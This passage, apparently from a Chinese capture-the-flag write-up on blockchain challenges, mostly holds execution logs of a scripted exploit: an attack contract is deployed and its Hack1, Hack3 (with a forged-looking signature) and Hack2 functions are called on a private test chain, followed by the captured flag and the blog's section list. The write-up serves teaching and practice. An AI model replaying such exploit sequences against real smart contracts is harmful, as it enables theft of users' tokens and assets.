[TransactionHash]0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6
[Txn]{
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  "from": "0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba",
  "nonce": 0,
  "value": 0,
  "gasPrice": 1200000000,
  "gas": 4260667,
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}
2022-11-06 10:45:25.328 | SUCCESS  | Poseidon.Blockchain:__init__:484 - 
[Contract][Instantiate]Successfully instantiated contract [0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb].
2022-11-06 10:45:25.332 | SUCCESS  | Poseidon.Blockchain:DeployContract:428 -
[Account][DeployContract][Success]
[TransactionHash]0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6
[BlockNumber]106737
[ContractAddress]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Value]0 [GasUsed]4260667
[Logs][AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106737, 'transactionHash': HexBytes('0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6'), 'transactionIndex': 0, 'blockHash': HexBytes('0x67a42027cdaf49dab8367765e3db2e1e2f781914d8bcef4fdaba78bea69a1aa8'), 'logIndex': 0, 'removed': False}), AttributeDict({'address': '0x4C9229666BcBb8FEB354acBaf77cD408e4eD5D50', 'topics': [HexBytes('0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), 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HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106737, 'transactionHash': HexBytes('0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6'), 'transactionIndex': 0, 'blockHash': HexBytes('0x67a42027cdaf49dab8367765e3db2e1e2f781914d8bcef4fdaba78bea69a1aa8'), 'logIndex': 4, 'removed': False}), AttributeDict({'address': '0xfF25FACBE77eac4eD3603188CccB9431f1A26448', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x', 'blockNumber': 106737, 'transactionHash': HexBytes('0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6'), 'transactionIndex': 0, 'blockHash': HexBytes('0x67a42027cdaf49dab8367765e3db2e1e2f781914d8bcef4fdaba78bea69a1aa8'), 'logIndex': 5, 'removed': False}), AttributeDict({'address': '0xfF25FACBE77eac4eD3603188CccB9431f1A26448', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000002')], 'data': '0x', 'blockNumber': 106737, 'transactionHash': HexBytes('0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6'), 'transactionIndex': 0, 'blockHash': HexBytes('0x67a42027cdaf49dab8367765e3db2e1e2f781914d8bcef4fdaba78bea69a1aa8'), 'logIndex': 6, 'removed': False}), AttributeDict({'address': '0xfF25FACBE77eac4eD3603188CccB9431f1A26448', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000003')], 'data': '0x', 'blockNumber': 106737, 'transactionHash': HexBytes('0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6'), 'transactionIndex': 0, 'blockHash': HexBytes('0x67a42027cdaf49dab8367765e3db2e1e2f781914d8bcef4fdaba78bea69a1aa8'), 'logIndex': 7, 'removed': False}), AttributeDict({'address': '0xfF25FACBE77eac4eD3603188CccB9431f1A26448', 'topics': [HexBytes('0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000002f7ccf235768b35e0ba171d7fa60690ef35e79ba')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106737, 'transactionHash': HexBytes('0x7cd2dd1c1a87fbd424d766f6994e2124aaccbff3be82de6cbe9013a55c03e3f6'), 'transactionIndex': 0, 'blockHash': HexBytes('0x67a42027cdaf49dab8367765e3db2e1e2f781914d8bcef4fdaba78bea69a1aa8'), 'logIndex': 8, 'removed': False})]
2022-11-06 10:45:25.542 | INFO     | Poseidon.Blockchain:CallFunction:501 - 
[Contract][CallFunction]
[ContractAddress]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Function]Hack1()
2022-11-06 10:45:25.790 | INFO     | Poseidon.Blockchain:SendTransaction:328 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0xf035f31e7653c4acaa7c13c4b038fe0e391f1d5e1616fbbdde480538ee69966d
[Txn]{
  "chainId": 8888,
  "from": "0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba",
  "to": "0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb",
  "nonce": 1,
  "value": 0,
  "gasPrice": "1.2 Gwei",
  "gas": 234482,
  "data": "0xbb3ee56d"
}
2022-11-06 10:45:31.468 | SUCCESS  | Poseidon.Blockchain:SendTransaction:336 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0xf035f31e7653c4acaa7c13c4b038fe0e391f1d5e1616fbbdde480538ee69966d
[BlockNumber]106739
[From]0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba
[To]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Value]0 [GasUsed]174112
[Data]0xbb3ee56d
[Logs][AttributeDict({'address': '0x4C9229666BcBb8FEB354acBaf77cD408e4eD5D50', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000005', 'blockNumber': 106739, 'transactionHash': HexBytes('0xf035f31e7653c4acaa7c13c4b038fe0e391f1d5e1616fbbdde480538ee69966d'), 'transactionIndex': 0, 'blockHash': HexBytes('0x1fde857c5ee5bfd97212f72c6c56768137bb7c4cf9781d0c0b62345ac54d0d37'), 'logIndex': 0, 'removed': False}), AttributeDict({'address': '0x4C9229666BcBb8FEB354acBaf77cD408e4eD5D50', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106739, 'transactionHash': HexBytes('0xf035f31e7653c4acaa7c13c4b038fe0e391f1d5e1616fbbdde480538ee69966d'), 'transactionIndex': 0, 'blockHash': HexBytes('0x1fde857c5ee5bfd97212f72c6c56768137bb7c4cf9781d0c0b62345ac54d0d37'), 'logIndex': 1, 'removed': False}), AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x', 'blockNumber': 106739, 'transactionHash': HexBytes('0xf035f31e7653c4acaa7c13c4b038fe0e391f1d5e1616fbbdde480538ee69966d'), 'transactionIndex': 0, 'blockHash': HexBytes('0x1fde857c5ee5bfd97212f72c6c56768137bb7c4cf9781d0c0b62345ac54d0d37'), 'logIndex': 2, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0x5a55b2d970d079d39ce4c5dc9ec6de52ebfc2bbcfc7466d62eea534ee8736673'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106739, 'transactionHash': HexBytes('0xf035f31e7653c4acaa7c13c4b038fe0e391f1d5e1616fbbdde480538ee69966d'), 'transactionIndex': 0, 'blockHash': HexBytes('0x1fde857c5ee5bfd97212f72c6c56768137bb7c4cf9781d0c0b62345ac54d0d37'), 'logIndex': 3, 'removed': False}), AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x', 'blockNumber': 106739, 'transactionHash': HexBytes('0xf035f31e7653c4acaa7c13c4b038fe0e391f1d5e1616fbbdde480538ee69966d'), 'transactionIndex': 0, 'blockHash': HexBytes('0x1fde857c5ee5bfd97212f72c6c56768137bb7c4cf9781d0c0b62345ac54d0d37'), 'logIndex': 4, 'removed': False})]
2022-11-06 10:45:31.598 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:535 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Function]GetMessageHashToSign()
[Result]b'&ZW\x90\xee\x8c\tt-\xf5\xc34,\x13.\xd4`\xc8J\xf3\xc0.\xaa\xc8*\xf0\x9f_\xb8_f\xa3'
2022-11-06 10:45:31.825 | INFO     | Poseidon.Blockchain:CallFunction:501 - 
[Contract][CallFunction]
[ContractAddress]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Function]Hack3(27, '0xa5d1286d7def3b77cbb220472a211071c46324181555c0e2dcbf4f48acc0ff97', '0x5c513c2deadaca6d4f1931e49613e780200040b1e89d661b6ff47312bf344ab3')
2022-11-06 10:45:32.111 | INFO     | Poseidon.Blockchain:SendTransaction:328 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4
[Txn]{
  "chainId": 8888,
  "from": "0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba",
  "to": "0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb",
  "nonce": 2,
  "value": 0,
  "gasPrice": "1.2 Gwei",
  "gas": 394418,
  "data": "0xe4db78d7000000000000000000000000000000000000000000000000000000000000001ba5d1286d7def3b77cbb220472a211071c46324181555c0e2dcbf4f48acc0ff975c513c2deadaca6d4f1931e49613e780200040b1e89d661b6ff47312bf344ab3"
}
2022-11-06 10:45:37.352 | SUCCESS  | Poseidon.Blockchain:SendTransaction:336 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4
[BlockNumber]106741
[From]0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba
[To]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Value]0 [GasUsed]277174
[Data]0xe4db78d7000000000000000000000000000000000000000000000000000000000000001ba5d1286d7def3b77cbb220472a211071c46324181555c0e2dcbf4f48acc0ff975c513c2deadaca6d4f1931e49613e780200040b1e89d661b6ff47312bf344ab3  
[Logs][AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0xbeab3a2bb824b124a8a1eb465eec003338d61b414db132d37e9b3a984fdcf010'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106741, 'transactionHash': HexBytes('0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4'), 'transactionIndex': 0, 'blockHash': HexBytes('0xbeeda48f51738b80200a0964a98d5ed9a2dc67b52ab5d840ce7103b4867f0b99'), 'logIndex': 0, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0xbeab3a2bb824b124a8a1eb465eec003338d61b414db132d37e9b3a984fdcf010'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000ff25facbe77eac4ed3603188cccb9431f1a26448'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000003')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106741, 'transactionHash': HexBytes('0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4'), 'transactionIndex': 0, 'blockHash': HexBytes('0xbeeda48f51738b80200a0964a98d5ed9a2dc67b52ab5d840ce7103b4867f0b99'), 'logIndex': 1, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0xbeab3a2bb824b124a8a1eb465eec003338d61b414db132d37e9b3a984fdcf010'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106741, 'transactionHash': HexBytes('0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4'), 'transactionIndex': 0, 'blockHash': HexBytes('0xbeeda48f51738b80200a0964a98d5ed9a2dc67b52ab5d840ce7103b4867f0b99'), 'logIndex': 2, 'removed': False}), AttributeDict({'address': '0x4C9229666BcBb8FEB354acBaf77cD408e4eD5D50', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106741, 'transactionHash': HexBytes('0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4'), 'transactionIndex': 0, 'blockHash': HexBytes('0xbeeda48f51738b80200a0964a98d5ed9a2dc67b52ab5d840ce7103b4867f0b99'), 'logIndex': 3, 'removed': False}), AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000003')], 'data': '0x', 'blockNumber': 106741, 'transactionHash': HexBytes('0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4'), 'transactionIndex': 0, 'blockHash': HexBytes('0xbeeda48f51738b80200a0964a98d5ed9a2dc67b52ab5d840ce7103b4867f0b99'), 'logIndex': 4, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0x5a55b2d970d079d39ce4c5dc9ec6de52ebfc2bbcfc7466d62eea534ee8736673'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000ff25facbe77eac4ed3603188cccb9431f1a26448'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000003')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106741, 'transactionHash': HexBytes('0x55dddd7bedb3645edd116f0a52f3a8c4dec2461eb558d5183c989b47b81226b4'), 'transactionIndex': 0, 'blockHash': HexBytes('0xbeeda48f51738b80200a0964a98d5ed9a2dc67b52ab5d840ce7103b4867f0b99'), 'logIndex': 5, 'removed': False})]
2022-11-06 10:45:37.561 | INFO     | Poseidon.Blockchain:CallFunction:501 - 
[Contract][CallFunction]
[ContractAddress]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Function]Hack2()
2022-11-06 10:45:37.860 | INFO     | Poseidon.Blockchain:SendTransaction:328 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151
[Txn]{
  "chainId": 8888,
  "from": "0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba",
  "to": "0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb",
  "nonce": 3,
  "value": 0,
  "gasPrice": "1.2 Gwei",
  "gas": 383959,
  "data": "0x5ac174d0"
}
2022-11-06 10:45:43.324 | SUCCESS  | Poseidon.Blockchain:SendTransaction:336 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151
[BlockNumber]106743
[From]0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba
[To]0xfAe1d8a8942d8ba4F26a4EE1732EF094b66B97Eb
[Value]0 [GasUsed]191895
[Data]0x5ac174d0
[Logs][AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0xbeab3a2bb824b124a8a1eb465eec003338d61b414db132d37e9b3a984fdcf010'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000539', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 0, 'removed': False}), AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 1, 'removed': False}), AttributeDict({'address': '0x4C9229666BcBb8FEB354acBaf77cD408e4eD5D50', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000539', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 2, 'removed': False}), AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 3, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0x5a55b2d970d079d39ce4c5dc9ec6de52ebfc2bbcfc7466d62eea534ee8736673'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000539', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 4, 'removed': False}), AttributeDict({'address': '0x4C9229666BcBb8FEB354acBaf77cD408e4eD5D50', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000539', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 5, 'removed': False}), AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000002')], 'data': '0x', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 6, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0x5a55b2d970d079d39ce4c5dc9ec6de52ebfc2bbcfc7466d62eea534ee8736673'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000002')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000539', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 7, 'removed': False}), AttributeDict({'address': '0x4C9229666BcBb8FEB354acBaf77cD408e4eD5D50', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 8, 'removed': False}), AttributeDict({'address': '0xf8D8fe5bfd88174b29869563aA53d7698A7A36d5', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000c1401cc3fa69c089c7f756c8e31627364e5dfab6'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 9, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0x5a55b2d970d079d39ce4c5dc9ec6de52ebfc2bbcfc7466d62eea534ee8736673'), HexBytes('0x000000000000000000000000fae1d8a8942d8ba4f26a4ee1732ef094b66b97eb'), HexBytes('0x000000000000000000000000f8d8fe5bfd88174b29869563aa53d7698a7a36d5'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000001', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 10, 'removed': False}), AttributeDict({'address': '0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6', 'topics': [HexBytes('0x23ddb4dbb8577d03ebf1139a17a5c016963c43761e8ccd21eaa68e9b8ce6a68e')], 'data': '0x', 'blockNumber': 106743, 'transactionHash': HexBytes('0xb1b1dfd93983fc382eb52c6372825799d45069d9c8c1948850d3c3d61b94a151'), 'transactionIndex': 0, 'blockHash': HexBytes('0xd0b0d84b0131b1a84eaf05abbee6ca77946f250dbbe0ba8920aec922e7d0d39e'), 'logIndex': 11, 'removed': False})]

进入Option 3，获取flag。

flag{dbf227cc-3cbe-4237-b68b-2269e00a3ed0}

原文始发于B1ue1nWh1te：第五届“强网”拟态防御国际精英挑战赛线上预选赛区块链方向题解

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第五届“强网”拟态防御国际精英挑战赛线上预选赛区块链方向题解

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第五届“强网”拟态防御国际精英挑战赛线上预选赛 区块链方向题解

前言

ToBeEquel

题目描述

解题过程

NFT Revenge

题目描述

解题过程

以太坊源码解析：rpc

慢雾：pGALA 事件根本原因系私钥明文在 GitHub 泄露

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第五届“强网”拟态防御国际精英挑战赛线上预选赛区块链方向题解